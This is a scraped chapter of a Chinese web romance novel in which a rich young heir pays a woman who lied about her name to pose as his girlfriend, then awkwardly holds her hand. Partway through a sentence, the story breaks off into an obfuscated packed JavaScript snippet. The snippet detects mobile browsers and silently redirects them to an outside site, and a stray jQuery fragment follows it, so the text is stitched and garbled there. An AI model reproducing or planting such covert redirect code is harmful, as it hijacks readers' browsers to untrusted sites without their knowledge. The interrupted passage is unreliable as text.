10.第 10 章
作品:《联姻夫夫为她打起来了》 黎聿修从没预想过,重逢会以这样的方式降临。
仿佛冥冥之中真有天意,命运一次次将对的人推到他面前。可讽刺的是,接收到神启的自始至终只有他一人,他的女主角收到的剧本好像和他的并不一样,就连名字都是对方随意编织的谎言。
刚用假名敷衍完别人,转头就被当场抓包,程棠一瞬间只想叹气,她这运气,也真是没谁了。
黎大少爷投来的目光实在是太过炽热,让人想装作没看见都不行。程棠认命般转过身,摆出诚恳得不能再诚恳的样子:“对不起。”
黎聿修冷哼一声,并不是很想接受这个毫无诚意的道歉。
“这就是你道歉的态度?”
他真的很生气,居然连名字都是骗他的。说什么常用名,合着平日里整天用弟弟的名字在外面招摇撞骗,就是她的常用名吗?常用来骗人的名字?亏她能说得那么理直气壮。
黎聿修越想越气,目光沉沉地盯着这个满口谎言的Beta。
程棠被他看得有点心虚:“那我请你喝咖啡?”
这是她能想到的最体面又经济实用的道歉方式了,既不显得太敷衍,她也不会很亏。她都已经主动递台阶了,他要是识相,就该见好就收。
要不是看在黎聿修勉强算她半个衣食父母的份上,她其实连道歉都懒得道。有什么好道歉的,出来混用个假名不是很正常吗?用真名才麻烦,万一不小心惹到不该惹的人怎么办。
黎聿修却体会不到她的良苦用心,眉眼间那点冷意半分未散,显然还在为她那个敷衍的假名耿耿于怀。
一旁的夏溪敏锐地察觉到两人之间的气氛不对,立刻笑着出来打圆场。她和黎聿修是当了很久抬头不见低头见的室友,却也算不上多熟,这个时候硬要跳出来当这个和事佬多少有些尴尬。
可程棠刚帮了自己的好朋友,她也不好袖手旁观,总得投桃报李。黎大少爷的性子呢,她多少也了解一些,脾气一向不好,真要较起真来,谁都哄不住。
心里这样想着,话语中不免带出几分偏心。
“哎呀,聿修,你到底在生哪门子气嘛?有话直说不好吗?程棠姐一看就是个钢铁直B,哪里懂我们Omega那些弯弯绕绕的心思,等她自己琢磨明白,估计都要到猴年马月了。你就大人有大量,宽宏一点嘛。”
程棠:……
她倒也不觉得自己真是什么直B,但眼下显然不是纠结这个的时候,如果这样就能让黎聿修不生气的话,她认了就是了。
她垂下眼睫,摆出一副虚心受教的模样,表面工作做得很到位,任谁都挑不出什么毛病。
黎聿修原本还绷着脸,看着她这副样子,心头那点火气竟莫名淡了些。倒也不是她这几句敷衍的道歉有多管用,纯粹是他醒悟,和程棠置气实在没什么必要。夏溪说得对,他跟这些直B生什么气,他们根本理解不了Omega的想法。
再想想和程棠认识的这几天里,他黎聿修可以说是脸都丢光了。他什么时候做过这么掉价的事?先是偷听别人说话,又是误会人家的意思……最后又被用假名骗。
现在更是为了一个名不见经传的Beta动怒,简直自降身段。跟一个Beta较劲,确实有些没意思,可不得不承认,这个Beta,是真的很会惹人生气。
难道就这么算了?黎聿修有些不甘心,他突然福至心灵:惹他生气固然讨厌,可换个思路,让她去惹那些他讨厌的人生气,岂不是妙计一桩?
他的心情倏地好了些,修长的指尖在半空里轻点,通过光脑给程棠发去了一条消息。
程棠被他看得一头雾水,正不明所以,她也不知道这位阴晴不定的大少爷心情怎么突然变好了。但她既不敢说,也不敢问,生怕再次惹火烧身。
耳边忽然响起光脑提示音,她本不想查看,但莫名地从黎聿修的眼神中读懂了对方的暗示,只能满腹疑惑地点开光脑。
当面不说,非要发消息……是什么新型的社交礼仪吗?还是说现在的有钱人都流行这么聊天?
程棠有些摸不着头脑。
下一秒——
瞳孔地震。
「黎聿修:扮演我的女朋友一个月,我就原谅你。」
程棠不解,这大少爷莫不是气疯了?她不就是用假名骗他了吗,为了这点小事,至于直接卖身给他吗?她深吸一口气,决定不搭理这个忽然犯病的大少爷。
光脑却又轻轻震了一下。
「黎聿修:你可以开个价,随便开。」
程棠:……
她很想拒绝,可“随便开”这几个字在她的脑子里转来转去,每转一圈就带出一串数字,数不清的数字在她眼前跳舞,跳着跳着就拼成了一幅令人心动的图景。
一个她根本无法拒绝的价格。
黎聿修心里七上八下的,自己的计谋能不能奏效,他并没有十足把握。可真等到消息发出去,他又生出另一层更复杂的期待——既希望她答应,答应和自己谈恋爱,哪怕是假的也好,至少曾经拥有过,也能说明她并没有那么在意那桩婚约;可潜意识里,他又期盼她能拒绝。
他不想看到她这么轻易妥协,她明明有婚约在身,怎么还能这么不在乎,还是说,她其实并不是不在乎,只是缺钱,缺到谁都可以?
他也不知道自己到底想要哪个答案。
光脑屏幕上跳出简短的回复:「骗子:OK」
黎聿修盯着那两个字,并没有想象中那么开心。
她答应了。她真的答应了。
她就那么缺钱吗?
黎聿修想不明白,他越想越烦躁,脑子里乱糟糟的,一会儿觉得她根本不在意那个人,一会儿又觉得钱对她来说大概比什么都重要。
扭曲的妒意裹着怒火往上涌,烧得他有些昏头。说到底,还是那个人太没用了,到底是有多废物,才会让自己的女朋友为了钱向别人点头?
年纪大有什么用,她和那种人在一起图什么?图他年纪大?图他没有钱?
难道他连一个没钱的老头都比不过?
黎聿修脸色阴沉得厉害,硬邦邦地开口:“我们就不在病房里打扰你休息了,先走了。”
坐在一旁的夏溪和苏渺面面相觑,显然都没弄明白这两个人刚才到底在打什么哑谜。方才还剑拔弩张的,怎么突然就一副重归于好的模样,现在又不高兴了?
纵使夏溪还有些恋恋不舍,但在护士三令五申的探视时间面前,也只能识趣地随大流告辞。
走出病房的那一刻,程棠脑子里还有点儿发懵。
扮演女朋友……这课题确实有些超纲了。但转念一想,她可是每天都在假装努力工作,日复一日,从没穿帮过。区区一个临时女友,还能难倒她这个资深演员?
既然现在是黎聿修的女朋友,那跟着他走,当个如影随形的挂件总没错吧?
黎聿修冷着脸走在前面,余光往后一瞥,正撞见程棠那副低着头、亦步亦趋跟在他身后的模样。
那姿态他越看越不对劲,说是女朋友吧,哪有女朋友走在对象身后半步的,说是保镖体格不够格,说是秘书又差点味道,倒像是,像是他花钱雇来凑数的。
这个念头冒出来的时候,他自己先噎了一下。
等等,好像确实是他花钱雇来的。可这个认知非但没让他释然,反而
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411244|200352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让胸腔里那团火蹿得更高了。
这女人到底见没见过别人谈恋爱?不是说和婚约对象相处了很久吗?他不信她在那人面前也是这副模样。
谁家谈恋爱是这样的?恨不得离他八丈远,还摆出一副公事公办的冷淡架势。
她是生怕别人看不出来他们之间只有冰冷的金钱交易,没有半分感情吗?还是说,她根本就是在敷衍他?觉得反正钱货两讫,凑合凑合就行了,用不着费太多心思?
想敷衍了事,问过他的意见了吗?
黎聿修越想越不爽,冷哼一声,大步跨过去,不由分说地攥住了程棠的手。
五指穿过她的指缝,收紧,掌心贴着掌心,严丝合缝。
这是他长这么大第一次牵别人的手。
黎聿修的脑子里短暂地空白了一下。活了这么多年,他在各种社交场合里握过不少人的手,但那都是礼节性的、点到即止的、客套的。像现在这样把自己的手指嵌进另一个人的指缝里,温度互相渗透,皮肤与皮肤之间没有任何阻隔地贴合在一起——
还是第一次。
讽刺的是,这个夺走他第一次的人,根本不喜欢他。
只是个被他用金钱买断、临时拉来充数的Beta,可即便如此,掌心紧贴的一刹那,他还是没忍住,轻轻捏了两下对方的手指。
没有偶像剧中描述的触电感,一切平平无奇,甚至算不上温香软玉。程棠的手有点凉,手指细长,骨节分明,摸上去并不柔软。黎聿修不知怎么就想起以前听人说过一句话,手硬的人,心也硬。
黎聿修下意识皱了皱眉。
这话好像……还真有点道理。
这个Beta的手可不就是像她的人一样硬吗?
他嘴上嫌弃得不行,手指并没有松开,反而在不知不觉中收紧了一些,指腹顺着她的掌心一点点摸了过去,带着几分无意识的流连。很快,他的指尖触到了一点不一样的触感——在她掌根靠近指节的位置,有一层薄薄的、略显粗糙的茧。
黎聿修忍不住在心底腹诽:这些Beta过得也太粗糙了,连手都不知道好好保养。他一边嫌弃,一边却像是着了魔似的,借着演戏的幌子,垂着眼睫,极其专注地研究起那只手。
轻轻收紧,又松开,试探着她的反应。
连护手霜都不涂?真是无可救药……
程棠被他摸得浑身不自在,她眼睁睁地看着这位新上任的雇主抓着自己的手,翻来覆去的研究。做着这么变态的事儿,偏偏表情管理的还很好,神色端得一本正经。
她的目光在黎聿修那张故作严肃的脸上停了一瞬,依旧冷淡克制,可耳根还残留着一抹没完全褪去的薄红,唇线绷得很紧,连睫毛都在微微发颤。
他分明也没那么镇定。
……算了。
收了钱的。
程棠默默叹了口气,把这四个字翻来覆去默念了几遍,试图把那点不适压下去。忍一忍就好了,可对方实在是得寸进尺,一寸一寸地描摹她掌心的纹路,她还是没忍住,手腕一用力,想把手抽出来,逃离这变态的掌控。
这大少爷该不会是有什么特殊的癖好,比如……恋手癖?
刚一动,黎聿修便抬眼看了过来,眼神里还带着点被打断的茫然和不悦,像是完全没明白她为什么要躲。
“躲什么?你自己答应了的。”
黎聿修确实不明白。
这可是他的第一次。
他都已经勉为其难地主动牵她了,甚至还屈尊降贵地摸了两下,她居然不领情,反倒想抽手?
她那是什么表情?嫌弃?抗拒?
她居然敢嫌弃他?

